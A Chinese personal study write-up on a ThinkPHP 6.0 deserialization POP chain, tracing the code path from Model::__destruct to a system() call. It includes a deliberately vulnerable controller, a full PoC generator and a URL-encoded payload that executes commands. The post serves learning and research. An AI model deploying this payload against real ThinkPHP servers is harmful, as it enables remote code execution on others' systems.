ThinkPHP反序列化漏洞学习

前言:

因为最近在学习php反序列化,因此想试着去学习一下ThinkPHP的反序列化漏洞(有些版本存在漏洞)。自己之前从未接触过ThinkPHP,但知道ThinkPHP不同版本存在着许多反序列化漏洞,有些也被做成ctf题目,相关的文章网上也能搜到很多,因此我这个小白也打算看着网上的相关资料,来学习一下ThinkPHP的反序列化漏洞,希望借此能增进对ThinkPHP和反序列化的理解

ThinkPHP6.0

第一次学习就从ThinkPHP6.0版本开始吧,以后再去试试5.0版本具体有什么不同和特点

参考:

先知社区参考文章

csdn

ThinkPHP安全分析

搭建环境

官方文档:

要求:PHP >= 7.2.5

正常流程(以windows为例、Linux应该也差不多,相关教程csdn都能查到)

1.下载安装composer

    composer官网:https://www.phpcomposer.com/

​ 直接下载安装到自己指定的路径就行了

接着Win+R打开cmd,更新一下(如果下载的是最新版的就不用更新了)

1
composer selfupdate

然后再终端输入composer,看到如下画面,就说明安装成功了。

2.下载对应的thinkPHP6.0

在命令行(终端)中,切换到你想要安装ThinkPHP的路径,执行

1
composer create-project topthink/think tp

这里的topthink/think ,会默认给你下载最新的稳定版ThinkPHP但不一定是最新版的ThinkPHP,tp即将源码下载到tp文件夹中(如果没有会自己新建),所以这里的tp可以改成你想要的名字

指定版本下载(以v6.0.13为例)

1
composer create-project topthink/think tp v6.0.13 

一般到这里就完成了环境的搭建

运行,然后访问127.0.0.1:8000(一般默认)

1
php think run

想改端口的话

1
php think run -p //端口号

小插曲(遇到的问题)

因为不确定6.1.1还有没有那些漏洞,于是我想的直接下载6.0.13版本来操作

1
composer create-project topthink/think tp v6.0.13 

但是我换了几种版本和composer下载方法,即使显示的是下载了6.0.13版本,但打开环境还是6.1.1版本(不知道为什么)

于是我只能找别人现成的网盘资源下载了

ThinkPHP6.0正式完整版下载

安装后运行,这样就可以了

1
php think run

设置漏洞点&利用条件

当源码中存在unserialize()函数且参数可控时,就能可触发这个洞。

当然,如果是ctf题目遇到的thinkphp题型的话,一般会直接配好这个可控的unserialize()函数等利用条件。

因为是在本地研究,因此需要手动设置漏洞点,在app\controller\Index.php中写入:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$c = unserialize($_GET['payload']); // 参数可控的unserialize函数
var_dump($c);
return 'Welcome to ThinkPHP!';
}
}

设置好后就能开始这次pop链反序列化漏洞的研究啦!

__destruct() 链分析

反序列化POP链的起点通常是__destruct()函数或者是__wakeup()函数,因此我们需要找到这次POP链的起点

1.寻找 __destruct() 方法

全局搜索 __destruct() 方法,发现

这次漏洞的触发点位于vendor\topthink\think-orm\src\Model.phpModel类的__destruct析构函数:

1
2
3
4
5
6
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

可以看到,当满足 $this->lazySave==true 时,会触发save()方法,因此可以跟进save()方法看看。

2.跟进save()方法

同样是在Model.php文件里查找save()方法(525行)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function save(array $data = [], string $sequence = null): bool    //接受两个参数:一个可选的数组参数$data和一个可选的字符串参数$sequence,返回一个布尔值。
{
// 数据对象赋值。该语句将方法参数$data中的值赋给当前对象中的属性。这里假设该方法是类方法,$this表示当前对象实例。setAttrs()可能是一个内部方法,负责设置数据对象中的属性。
$this->setAttrs($data);
//第一个是当前对象是否为空,第二个是一个触发回调的结果。如果任一条件为真,则该方法返回false。如果不符合条件,则写入数据操作不会继续进行。
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
//根据当前对象的状态(是否存在)来选择更新或插入数据。如果对象存在,则调用updateData()方法更新数据,否则调用insertData($sequence)方法插入数据。$sequence参数是可选的,并且传递给insertData()方法。将结果赋值给变量$result。
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调,该语句触发"AfterWrite"回调,用于在数据写入后执行其他操作
$this->trigger('AfterWrite');

// 重新记录原始数据,并重置对象的属性,以便下一次操作。$this->origin存储原始数据,$this->data存储新数据,$this->get存储从数据库中获取的数据,$this->lazySave存储是否启用延迟保存。
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;

return true;
}

其中

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

这里对 $this->exists 属性进行判断,如果为true则调用updateData()方法,如果为false则调用insertData()方法。但在这之前还有一个if语句,需要先避免前面的if return false

绕过if

1
2
3
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

发现需要同时满足 $this->isEmpty() 为返回false,$this->trigger('BeforeWrite') 返回true

  • 先看$this->isEmpty() 方法:

1
2
3
4
5
public function isEmpty(): bool
{
return empty($this->data);
}
//判断对象的$data属性是否为空,如果为空则返回true,否则返回false。

因此要让$this->isEmpty() 为返回false,只需要令$this->data不为空就行了。

  • 再看$this->trigger() 方法

    这次并没有在Model.php找到,通过全局搜索,发现在vendor\topthink\think-orm\src\model\concern\ModelEvent.php中

1
2
3
4
5
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

只需要满足 $this->withEvent == false 即可返回true。

这样就能绕过这个if的return了

回到$this->exists的判断

然后就回到刚才的

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

$this->exists == true 时进入 $this->updateData()

$this->exists == false 时进入 $this->insertData()

分别看一下updataData()和insertData(),发现 updateData() 存在继续利用的点,所以需要 $this->exists == true,继续跟进分析。

3.跟进updateData()方法

还是回到刚才的Model.php的592行

由于下一个利用点存在于 $this->checkAllowFields() 中,但是要进入并调用该函数,需要先通过前面两处的if语句:

第一个if

1
2
3
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

这个if语句和刚才遇到的一样,通过刚才对trigger()方法的分析,我们知道需要令 $this->withEvent == false 即可通过。由于前面已经绕过了save()方法中的trigger(),所以这里就不用管了。

第二个if

于是看第二个if语句:

1
2
3
4
5
6
7
8
9
10
11
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

不难看出,只要 $data == 1(非空)即可,所以我们跟进 $this->getChangedData() 方法

$this->getChangeData()

位于vendor\topthink\think-orm\src\model\concern\Attribute.php中(299行左右)

看一下关键部分(不是完整代码):

1
2
3
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) 
//三目运算符,如果$this->force为真,即$this->force的值为true,则直接将对象的$data属性的值赋值给$data。否则,即$this->force的值为false,则调用了PHP内置函数array_udiff_assoc()来比较对象的$data属性和$this->origin属性的值,并返回差异部分。差异比较的方法由匿名函数function ($a, $b) {...}定义,这个匿名函数会接收两个参数进行比较,返回一个整数表示大小关系。
return $data;

可见,我们只需要令 $this->force == true 即可直接返回 $this-data,而我们之前也需要设置 $this-data 为非空。这样就能满足第二个if条件啦

处理好这两个if语句,就可以成功调用到了 $this->checkAllowFields()

4.跟进checkAllowFields()方法

依旧是在Model.php

不难看出,要想成功执行$this->db() 方法,我们要先通过前面的两个if语句:

也就是使 $this->field 为空,同时使$this->schema 也为空(执行else)

于是跟进一下field和schema,(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)

可以看到,这里的field和schema都是默认为空,也就是说我们不需要去改变这两个,就能成功执行$this->db() 方法。所以进一步去看看db()方法

5.跟进db()方法

依旧在Model.php的353行左右

1
2
3
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

可以看到db()里已经出现了用 . 进行字符串连接的操作了, 所以我们可以把 $this->table$this->suffix 设置成相应的类对象,此时通过 . 拼接便可以把类对象当做字符串,就可以触发 __toString() 方法了。

小结

目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用 __toString(),所以先总结一下我们需要设置的点:

1
2
3
4
5
$this->lazySave == true   //触发save()方法
$this->data不为空 //使$this->isEmpty() 为返回false,绕过if
$this->withEvent == false //使$this->trigger()返回ture,绕过if
$this->exists == true //触发updateData()
$this->force == true //使$data == 1(非空)绕过if

调用过程:

1
2
3
4
5
6
7
__destruct()
——>save()
——>updateData()
——>checkAllowFields()
——>db()
——>$this->table . $this->suffix(字符串拼接)
——>__toString()

但是还有一个问题就是 Model 类是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用:

1
class Pivot extends Model

__toString() 链构造

在前面的__destruct()链构造的最后,已经能够触发__toString()方法了,所以接下来应该寻找__toString()的利用点

1.寻找 __toString() 方法

还是全局搜索,好吧太多了,最后发现是位于vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait中:

1
2
3
4
public function __toString()
{
return $this->toJson();
}

没什么特殊的地方,继续跟进toJson()方法

2.跟进toJson()方法

嘿,发现toJson()方法就在__toString()上面

1
2
3
4
5
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

这段代码的作用是将当前对象的属性值转换为 PHP 数组,然后通过调用 json_encode() 函数将其转换为 JSON 格式的字符串,并返回该字符串。如果调用该方法时传入了 options 参数,则该参数会作为 json_encode() 函数的第二个参数传递给该函数。

没什么特殊的限制,于是继续跟进 toArray() 方法。

3.跟进toArray()方法

依旧是在Conversion.php差不多190行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public function toArray(): array
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}

if (isset($this->mapping[$key])) {
// 检查字段映射
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}

// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}

if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}

return $item;
}

看起来眼花缭乱,麻了。但关键其实在第三个 foreach

对该代码的详细解释(可略过不看,仅帮助理解):这个foreach 循环,用于将 $data 数组中的每个元素转换为一个新的数组 $item,以便于生成 JSON 字符串。循环中的每个元素 $val 都表示一个属性值,而 $key 则是该属性的键名。

在循环体内,首先判断当前属性值 $val 是否是一个关联模型对象,如果是,则根据 $this->visible$this->hidden 数组中的设置,设置关联模型对象的可见性,然后再将该关联模型对象转换为数组。如果当前属性值不是一个关联模型对象,则需要根据 $this->visible$this->hidden 数组中的设置决定是否将其加入到结果数组 $item 中。

具体来说,如果 $key$this->visible 数组中存在且是一个数组,那么说明该属性需要显示,此时将关联模型对象的可见性设置为 $this->visible[$key],然后将该关联模型对象转换为数组,加入到结果数组 $item 中;如果 $key$this->hidden 数组中存在且不为 true,那么说明该属性需要隐藏,直接跳过不处理;否则,根据是否存在 $this->hidden 数组以及是否存在可见属性,决定是否将当前属性加入到结果数组 $item 中。

最终,循环结束后,返回转换后的数组 $item,这个数组可以被用于生成 JSON 字符串。

简要的说:对 $date进行遍历,其中 $key$date 的键。默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法。

因此接着跟进getAttr() 方法

4.跟进getAttr() 方法

这次是位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 458行左右

1
$value    = $this->getData($name);

try 用于捕获调用 $this->getData($name) 方法时可能会抛出的 InvalidArgumentException 异常,如果发生了该异常,就将 $relation 设为 $this->isRelationAttr($name) 的返回值,将 $value 设为 null,然后继续执行。否则,如果没有发生异常,则将 $relation 设为 false,将 $value 设为 $this->getData($name) 的返回值,然后继续执行。捕获到的异常会被忽略,不会向上抛出。最终返回由 $this->getValue($name, $value, $relation) 计算得到的属性值。

这里$value 的值返回自 $this->getData() 方法,且 getData() 方法的参数为上面 toArray() 传进来的 $key,跟进一下 getData() 方法:

getData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

第一个if判断传入的值,如果 $name 值不为空,就能避免return,继续执行下一步,则将 $name值传入到getRealFieldName()方法。

这里面 getRealFieldName() 方法的参数,即 $name,依然是上面 toArray() 传进来的 $key

再看一下 getRealFieldName() 方法

getRealFieldName()

1
2
3
4
5
6
7
8
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}

return $name;
}

当满足 $this->strict == true 时(默认为true),直接返回$name,也就是最开始从 toArray() 方法中传进来的 $key 值。

返回getData()与getAttr()

getData():

1
2
3
4
5
6
7
8
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

此时 $fieldName 即为 $key,也就是就是返回了 $this->data[$key]

最后返回getAttr()

1
return $this->getValue($name, $value, $relation);

这时参数 $name 则是从 toArray() 传进来的 $key,而参数 $value 的值就是 $this->data[$key]

继续跟进一下 getValue() 方法

5.跟进getValue()方法

依旧是在Attribute.php 的480行左右

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);

if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}

$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$fieldName])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$fieldName]);
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
$value = $this->getTimestampValue($value);
} elseif ($relation) {
$value = $this->getRelationValue($relation);
// 保存关联对象值
$this->relation[$name] = $value;
}

$this->get[$fieldName] = $value;

return $value;
}

有的乱,现在一步一步看,先看最重要的最终利用点

1
2
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

只要我们令 $closure 为 “system”,就变成了system($this->data)。$this->data 为要执行的命令就可以动态执行system()函数来Getshell了。

例如: withAttr[$fieldName]="system"$this->data="whoami" ,即执行 system('whoami');。这里的whoami可以改成其他任意想要执行的命令

但如果要构造以上命令还需要绕过前面的两个if语句:

第一个:

1
if (isset($this->withAttr[$fieldName]))

不难看出,让$this->withAttr[$key] 存在就能绕过(了解了一下isset函数的作用)

第二个:

1
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName]))

$this->withAttr[$key] 存在且不为数组就能绕过(又去了解了一下in_array函数的意思)

小记一下:即只有 $this->withAttr 数组存在和 $date 一样的键 $key,并且这个键对应的值不能为数组,就能执行最后的注入点。

小结

到这里,后半部分也完成了,以下是__toString()链需要构造的链:

1
2
3
4
5
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}

太奇妙了,明明刚才走了那么多流程,最后就需要构造这么点,哈哈哈哈

最后的总结和POC

为了将两个POP链串联起来,需要将前面说的字符串拼接处的 table 声明为Pivot类的对象( Model 类的一个子类)

最终的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace think\model\concern;


trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

最终的payload:

1
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

可以看到确实是成功执行了命令,到这里就大功告成了。后续的一些内容等深入学习了再补充。

再去深入理解POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

namespace think\model\concern;
//namespace 是 PHP 的命名空间,用于区分代码中的类、函数和常量的命名。它允许在同一代码库中使用相同名称的类、函数和常量,而不会导致命名冲突。

trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
//__toString()链
//这是payload的关键部分,用于命令的执行。这个的"whoami"可以改成其他命令来执行
//也满足了即 $withAttr 数组存在和 $date 一样的键 $key,并且这个键对应的值不能为数组。"evil_key" 应该只是一个用于示例的示意名称,可以改成其他名称
namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
//__destruct()链
// $this->force == true 即可直接返回 $this-data,也就满足了$this->data不为空;其他也都是符合__destruct()链的构造需求

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
//Model 类是抽象类,不能实例化。所以用Pivot( Model 类的一个子类)进行实例化
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

感悟与收获

2023.04.14 :

一步步跟下来,收获了很多,顺便也学习了一些之前不理解的php语法,多亏了gpt帮忙解释了一些代码,使我没有遇到特别困难的地方。但是,仅是跟着别人的思路来学习就没那么容易了,如果直接给我源码让自己直接去从头找漏洞,没有提示,想必是非常困难的,因此自己还需要继续深入学习,顺便找个时间学习一下ThinkPHP的mvc模式和进一步系统地学习php语言。


ThinkPHP反序列化漏洞学习
https://www.smal1.black/ThinkPHP反序列化学习.html
作者
Small Black
发布于
2023年4月9日
许可协议